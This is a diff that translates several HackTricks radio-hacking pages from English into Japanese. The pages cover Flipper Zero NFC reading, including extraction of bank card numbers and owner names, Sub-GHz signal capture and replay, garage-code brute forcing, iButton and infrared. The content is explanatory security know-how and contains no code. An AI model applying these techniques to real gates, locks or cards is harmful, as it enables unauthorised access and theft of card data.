-### NFC cards types B, F, and V +### NFCカードタイプB、F、V -For **NFC cards types B, F, and V**, Flipper Zero can only **read and display an UID** without saving it. +**NFCカードタイプB、F、V**については、Flipper ZeroはUIDの読み取りのみで保存はしません。
-## Actions +## アクション -For an intro about NFC [**read this page**](../../../radio-hacking/pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz). +NFCについてのイントロについては、[**このページ**](../../../radio-hacking/pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz)を読んでください。 -### Read +### 読み取り -Flipper Zero can **read NFC cards**, however, it **doesn't understand all the protocols** that are based on ISO 14443. However, since **UID is a low-level attribute**, you might find yourself in a situation when **UID is already read, but the high-level data transfer protocol is still unknown**. You can read, emulate and manually input UID using Flipper for the primitive readers that use UID for authorization. +Flipper Zeroは**NFCカードを読み取る**ことができますが、ISO 14443に基づく**すべてのプロトコルを理解するわけではありません**。ただし、**UIDは低レベルの属性**であるため、UIDが既に読み取られているが、ハイレベルのデータ転送プロトコルがまだ不明な状況になることがあります。UIDを使用してプリミティブなリーダーで読み取り、エミュレート、手動で入力することができます。 -#### Reading the UID VS Reading the Data Inside +#### UIDの読み取りと内部のデータの読み取り
-In Flipper, reading 13.56 MHz tags can be divided into two parts: +Flipperでは、13.56 MHzのタグの読み取りは2つのパートに分けることができます: -* **Low-level read** — reads only the UID, SAK, and ATQA. Flipper tries to guess the high-level protocol based on this data read from the card. You can't be 100% certain with this, as it is just an assumption based on certain factors. -* **High-level read** — reads the data from the card's memory using a specific high-level protocol. That would be reading the data on a Mifare Ultralight, reading the sectors from a Mifare Classic, or reading the card's attributes from PayPass/Apple Pay. +* **低レベルの読み取り** — UID、SAK、ATQAのみを読み取ります。Flipperは、カードから読み取ったこのデータに基づいてハイレベルのプロトコルを推測しようとします。これはあくまで一部の要素に基づく推測であり、100%確実ではありません。 +* **ハイレベルの読み取り** — 特定のハイレベルのプロトコルを使用してカードのメモリからデータを読み取ります。これはMifare Ultralightのデータの読み取り、Mifare Classicのセクターの読み取り、PayPass/Apple Payからカードの属性の読み取りなどが該当します。 +### 特定の読み取り -### Read Specific +Flipper Zeroが低レベルデータからカードの種類を見つけることができない場合、`追加のアクション`で`特定のカードの種類を読み取る`を選択し、**手動で読み取りたいカードの種類を指定**することができます。 -In case Flipper Zero isn't capable of finding the type of card from the low level data, in `Extra Actions` you can select `Read Specific Card Type` and **manually** **indicate the type of card you would like to read**. +#### EMV銀行カード(PayPass、payWave、Apple Pay、Google Pay) -#### EMV Bank Cards (PayPass, payWave, Apple Pay, Google Pay) +UIDだけでなく、銀行カードからはさらに多くのデータを抽出することができます。カードの表面にある16桁の**カード番号全体**、**有効期限**、そして一部の場合は**所有者の名前**と**最新の取引のリスト**を取得することができます。\ +ただし、この方法では**CVV(カードの裏面にある3桁の番号)は読み取れません**。また、**銀行カードはリプレイ攻撃から保護されているため**、Flipperでコピーしてからそれをエミュレートして支払いを試みることはできません。 -Apart from simply reading the UID, you can extract a lot more data from a bank card. It's possible to **get the full card number** (the 16 digits on the front of the card), **validity date**, and in some cases even the **owner's name** along with a list of the **most recent transactions**.\ -However, you **can't read the CVV this way** (the 3 digits on the back of the card). Also **bank cards are protected from replay attacks**, so copying it with Flipper and then trying to emulate it to pay for something won't work. - -## References +## 参考文献 * [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) @@ -91,10 +90,10 @@ However, you **can't read the CVV this way** (the 3 digits on the back of the ca ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index 29bd8f8cc..22cf29380 100644 --- a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -4,116 +4,115 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Intro +## イントロ -Flipper Zero can **receive and transmit radio frequencies in the range of 300-928 MHz** with its built-in module, which can read, save, and emulate remote controls. These controls are used for interaction with gates, barriers, radio locks, remote control switches, wireless doorbells, smart lights, and more. Flipper Zero can help you to learn if your security is compromised. +Flipper Zeroは、内蔵モジュールを使用して、300-928 MHzの範囲の無線周波数を**受信および送信**することができます。このモジュールは、リモートコントロールを読み取り、保存、エミュレートすることができます。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどの操作に使用されます。Flipper Zeroは、セキュリティが侵害されているかどうかを確認するのに役立ちます。
-## Sub-GHz hardware +## Sub-GHzハードウェア -Flipper Zero has a built-in sub-1 GHz module based on a [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) and a radio antenna (the maximum range is 50 meters). Both the CC1101 chip and the antenna are designed to operate at frequencies in the 300-348 MHz, 387-464 MHz, and 779-928 MHz bands. +Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)と無線アンテナ(最大範囲は50メートル)を搭載した、内蔵のサブ1 GHzモジュールがあります。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、および779-928 MHzの周波数で動作するように設計されています。
-## Actions +## アクション -### Frequency Analyser +### 周波数アナライザー {% hint style="info" %} -How to find which frequency is the remote using +リモートが使用している周波数を見つける方法 {% endhint %} -When analysing, Flipper Zero is scanning signals strength (RSSI) at all the frequencies available in frequency configuration. Flipper Zero displays the frequency with the highest RSSI value, with signal strength higher than -90 [dBm](https://en.wikipedia.org/wiki/DBm). +解析中、Flipper Zeroは周波数設定で利用可能なすべての周波数で信号強度(RSSI)をスキャンします。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)よりも高い信号強度を持つ最も高いRSSI値の周波数を表示します。 -To determine the remote's frequency, do the following: +リモートの周波数を特定するには、次の手順を実行します。 -1. Place the remote control very close to the left of Flipper Zero. -2. Go to **Main Menu** **→ Sub-GHz**. -3. Select **Frequency Analyzer**, then press and hold the button on the remote control you want to analyze. -4. Review the frequency value on the screen. +1. リモートコントロールをFlipper Zeroの左側に非常に近づけます。 +2. **メインメニュー** **→ サブ-GHz**に移動します。 +3. **周波数アナライザー**を選択し、解析したいリモートコントロールのボタンを押し続けます。 +4. 画面上の周波数値を確認します。 -### Read +### 読み取り {% hint style="info" %} -Find info about the frequency used (also another way to find which frequency is used) +使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法もあります) {% endhint %} -The **Read** option **listens on the configured frequency** on the indicated modulation: 433.92 AM by default. If **something is found** when reading, **info is given** in the screen. This info could be use to replicate the signal in the future. +**読み取り**オプションは、指定された変調(デフォルトでは433.92 AM)で設定された周波数で**リスニング**します。読み取り中に**何かが見つかると**、画面に情報が表示されます。この情報は、将来の信号の複製に使用できます。 -While Read is in use, it's possible to press the **left button** and **configure it**.\ -At this moment it has **4 modulations** (AM270, AM650, FM328 and FM476), and **several relevant frequencies** stored: +Readを使用している間に、**左ボタン**を押して**設定**することができます。\ +現在、**4つの変調**(AM270、AM650、FM328、FM476)があり、**いくつかの関連する周波数**が保存されています。
-You can set **any that interests you**, however, if you are **not sure which frequency** could be the one used by the remote you have, **set Hopping to ON** (Off by default), and press the button several times until Flipper captures it and give you the info you need to set the frequency. +**興味のある周波数**を設定できますが、リモートで使用されている周波数が**わからない場合は、ホッピングをONに設定**(デフォルトではオフ)し、Flipperがキャプチャし、必要な周波数を提供するまでボタンを何度も押します。 {% hint style="danger" %} -Switching between frequencies takes some time, therefore signals transmitted at the time of switching can be missed. For better signal reception, set a fixed frequency determined by Frequency Analyzer. +周波数の切り替えには時間がかかるため、切り替え時に送信される信号は見逃される可能性があります。信号の受信を改善するために、周波数アナライザーで決定された固定周波数を設定してください。 {% endhint %} -### **Read Raw** +### **生データの読み取り** {% hint style="info" %} -Steal (and replay) a signal in the configured frequency +設定された周波数での信号を盗み(および再生)する {% endhint %} -The **Read Raw** option **records signals** send in the listening frequency. This can be used to **steal** a signal and **repeat** it. +**生データの読み取り**オプションは、リスニング周波数で送信される信号を**記録**します。これを使用して信号を**盗み**、**再生**することができます。 -By default **Read Raw is also in 433.92 in AM650**, but if with the Read option you found that the signal that interest you is in a **different frequency/modulation, you can also modify that** pressing left (while inside the Read Raw option). +デフォルトでは、**Read Raw**も433.92のAM650ですが、Readオプションで興味のある信号が異なる周波数/変調にあることがわかった場合は、左を押して(Read Rawオプション内で)それを変更することもできます。 -### Brute-Force +### ブルートフォース -If you know the protocol used for example by the garage door it's possible to g**enerate all the codes and send them with the Flipper Zero.** This is an example that support general common types of garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\* - -### Add Manually +ガレージドアなどで使用されるプロトコルがわかっている場合、Flipper Zeroで**すべてのコードを生成し、送信**することができます。これは、一般的なガレージの一般的なタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\* +### 手動で追加 {% hint style="info" %} -Add signals from a configured list of protocols +設定されたプロトコルのリストから信号を追加します {% endhint %} -#### List of [supported protocols](https://docs.flipperzero.one/sub-ghz/add-new-remote) +#### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) -| Princeton\_433 (works with the majority of static code systems) | 433.92 | Static | +| Princeton\_433 (ほとんどの静的コードシステムで動作します) | 433.92 | 静的 | | --------------------------------------------------------------- | ------ | ------- | -| Nice Flo 12bit\_433 | 433.92 | Static | -| Nice Flo 24bit\_433 | 433.92 | Static | -| CAME 12bit\_433 | 433.92 | Static | -| CAME 24bit\_433 | 433.92 | Static | -| Linear\_300 | 300.00 | Static | -| CAME TWEE | 433.92 | Static | -| Gate TX\_433 | 433.92 | Static | -| DoorHan\_315 | 315.00 | Dynamic | -| DoorHan\_433 | 433.92 | Dynamic | -| LiftMaster\_315 | 315.00 | Dynamic | -| LiftMaster\_390 | 390.00 | Dynamic | -| Security+2.0\_310 | 310.00 | Dynamic | -| Security+2.0\_315 | 315.00 | Dynamic | -| Security+2.0\_390 | 390.00 | Dynamic | +| Nice Flo 12bit\_433 | 433.92 | 静的 | +| Nice Flo 24bit\_433 | 433.92 | 静的 | +| CAME 12bit\_433 | 433.92 | 静的 | +| CAME 24bit\_433 | 433.92 | 静的 | +| Linear\_300 | 300.00 | 静的 | +| CAME TWEE | 433.92 | 静的 | +| Gate TX\_433 | 433.92 | 静的 | +| DoorHan\_315 | 315.00 | 動的 | +| DoorHan\_433 | 433.92 | 動的 | +| LiftMaster\_315 | 315.00 | 動的 | +| LiftMaster\_390 | 390.00 | 動的 | +| Security+2.0\_310 | 310.00 | 動的 | +| Security+2.0\_315 | 315.00 | 動的 | +| Security+2.0\_390 | 390.00 | 動的 | -### Supported Sub-GHz vendors +### サポートされているSub-GHzベンダー -Check the list in [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) +[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)でリストを確認してください。 -### Supported Frequencies by region +### 地域別のサポートされている周波数 -Check the list in [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) +[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)でリストを確認してください。 -### Test +### テスト {% hint style="info" %} -Get dBms of the saved frequencies +保存された周波数のdBmを取得します {% endhint %} -## Reference +## 参考 * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) * @@ -122,10 +121,10 @@ Get dBms of the saved frequencies ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/todo/radio-hacking/ibutton.md b/todo/radio-hacking/ibutton.md index 777c83633..3693298e2 100644 --- a/todo/radio-hacking/ibutton.md +++ b/todo/radio-hacking/ibutton.md @@ -4,51 +4,51 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Intro +## イントロ -iButton is a generic name for an electronic identification key packed in a **coin-shaped metal container**. It is also called **Dallas Touch** Memory or contact memory. Even though it is often wrongly referred to as a “magnetic” key, there is **nothing magnetic** in it. In fact, a full-fledged **microchip** operating on a digital protocol is hidden inside. +iButtonは、**コイン状の金属容器**に詰められた電子識別キーの一般的な名称です。また、ダラスタッチメモリまたは接触メモリとも呼ばれます。実際には、内部にはデジタルプロトコルで動作する**完全なマイクロチップ**が隠されており、しばしば「磁気」キーと誤って言及されますが、実際には何も磁気的なものはありません。
-### What is iButton? +### iButtonとは? -Usually, iButton implies the physical form of the key and reader - a round coin with two contacts. For the frame surrounding it, there are lots of variations from the most common plastic holder with a hole to rings, pendants, etc. +通常、iButtonはキーとリーダーの物理的な形態を意味し、丸いコインに2つの接点があります。それを囲むフレームには、一般的なプラスチックホルダーからリング、ペンダントなどまでさまざまなバリエーションがあります。
-When the key reaches the reader, the **contacts come to touch** and the key is powered to **transmit** its ID. Sometimes the key is **not read** immediately because the **contact PSD of an intercom is larger** than it should be. So the outer contours of the key and the reader couldn't touch. If that's the case, you'll have to press the key over one of the walls of the reader. +キーがリーダーに到達すると、**接点が接触**し、キーはIDを**送信**するために電力を供給されます。キーが**すぐに読み取られない**場合もあります。これは、インターコムの**接触PSDが適切なサイズよりも大きい**ためです。その場合は、キーをリーダーの壁の1つに押し付ける必要があります。
-### **1-Wire protocol** +### **1-Wireプロトコル** -Dallas keys exchange data using the 1-wire protocol. With only one contact for data transfer (!!) in both directions, from master to slave and vice versa. The 1-wire protocol works according to the Master-Slave model. In this topology, the Master always initiates communication and the Slave follows its instructions. +Dallasキーは、1-Wireプロトコルを使用してデータを交換します。データ転送用のデータのみの1つの接点を持ち、マスターからスレーブ、およびその逆方向に向かって動作します。1-Wireプロトコルはマスター-スレーブモデルに従って動作します。このトポロジでは、マスターが常に通信を開始し、スレーブがその指示に従います。 -When the key (Slave) contacts the intercom (Master), the chip inside the key turns on, powered by the intercom, and the key is initialized. Following that the intercom requests the key ID. Next, we will look up this process in more detail. +キー(スレーブ)がインターコム(マスター)に接触すると、キー内部のチップがオンになり、インターコムによって電力が供給され、キーが初期化されます。その後、インターコムはキーのIDを要求します。次に、このプロセスを詳しく見ていきます。 -Flipper can work both in Master and Slave modes. In the key reading mode, Flipper acts as a reader this is to say it works as a Master. And in the key emulation mode, the flipper pretends to be a key, it is in the Slave mode. +Flipperはマスターモードとスレーブモードの両方で動作することができます。キーの読み取りモードでは、Flipperはリーダーとして動作し、マスターとして機能します。キーのエミュレーションモードでは、Flipperはキーのふりをし、スレーブモードで動作します。 -### Dallas, Cyfral & Metakom keys +### Dallas、Cyfral、Metakomキー -For information about how these keys works check the page [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) +これらのキーの動作方法については、次のページを参照してください:[https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) -### Attacks +### 攻撃 -iButtons can be attacked with Flipper Zero: +iButtonはFlipper Zeroを使用して攻撃することができます: {% content-ref url="flipper-zero/fz-ibutton.md" %} [fz-ibutton.md](flipper-zero/fz-ibutton.md) {% endcontent-ref %} -## References +## 参考文献 * [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) @@ -56,10 +56,10 @@ iButtons can be attacked with Flipper Zero: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/radio-hacking/infrared.md b/todo/radio-hacking/infrared.md index 1a415aad0..30408f4d5 100644 --- a/todo/radio-hacking/infrared.md +++ b/todo/radio-hacking/infrared.md @@ -1,91 +1,90 @@ -# Infrared +# 赤外線
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## How the Infrared Works +## 赤外線の動作原理 -**Infrared light is invisible to humans**. IR wavelength is from **0.7 to 1000 microns**. Household remotes use an IR signal for data transmission and operate in the wavelength range of 0.75..1.4 microns. A microcontroller in the remote makes an infrared LED blink with a specific frequency, turning the digital signal into an IR signal. +**赤外線は人間には見えません**。赤外線の波長は**0.7から1000マイクロメートル**です。家庭用リモコンはデータの送信に赤外線信号を使用し、波長範囲は0.75から1.4マイクロメートルです。リモコンのマイクロコントローラは、特定の周波数で赤外線LEDを点滅させ、デジタル信号を赤外線信号に変換します。 -To receive IR signals a **photoreceiver** is used. It **converts IR light into voltage pulses**, which are already **digital signals**. Usually, there is a **dark light filter inside the receiver**, which lets **only the desired wavelength through** and cuts out noise. +赤外線信号を受信するためには、**フォトリシーバ**が使用されます。これは赤外線を電圧パルスに変換し、すでに**デジタル信号**になります。通常、受信機内部には**ダークライトフィルタ**があり、**望ましい波長のみを通過**させ、ノイズをカットします。 -### Variety of IR 